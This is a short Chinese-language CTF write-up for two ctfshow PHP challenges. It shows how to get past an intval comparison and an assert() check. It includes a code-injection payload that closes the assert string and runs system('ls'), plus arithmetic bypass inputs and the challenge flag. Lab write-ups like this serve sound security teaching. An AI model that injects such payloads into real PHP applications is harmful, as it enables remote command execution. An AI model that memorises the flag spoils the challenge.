一言既出
1、解题思路
阅读PHP代码,发现有两个if语句,需要满足num==114514,同时还存在一个assert断言语句,要求满足,num=1919810,否则输出die()内容。
==为若比较类型可以通过转换字符类型绕过
而同时又要满足assert内容,只能通过闭合assert语句或者是assert为真绕过。
2、解题方法一
?num=114514)==1 or system(‘ls’);%23
实际执行
assert("intval($_GET[114514])==1 or system('ls');#)==1919810") or die("一言既出,驷马难追!")
echo $flag;
%23是注释符#的编码形式
3、解题方法二
?num=114514);(1919810
实际执行
assert("intval($_GET[114514]);(1919810==1919810") or die("一言既出,驷马难追!")
echo $flag;
4、获得flag
ctfshow{e1a3af51-efe0-4a94-9404-426a0fb0a40e}
5、补充方法
在看到驷马难追题目是,发现还有一种更加简单的绕过方案,即通过运算的方式满足运算
?num=114514%2b1805296
%2b为+
驷马难追
1、解题思路
使用了更加严格的限制,无法使用();等符号,所以无法使用闭合的方式,只能通过运算的方式满足条件
?num=114514%2b1805296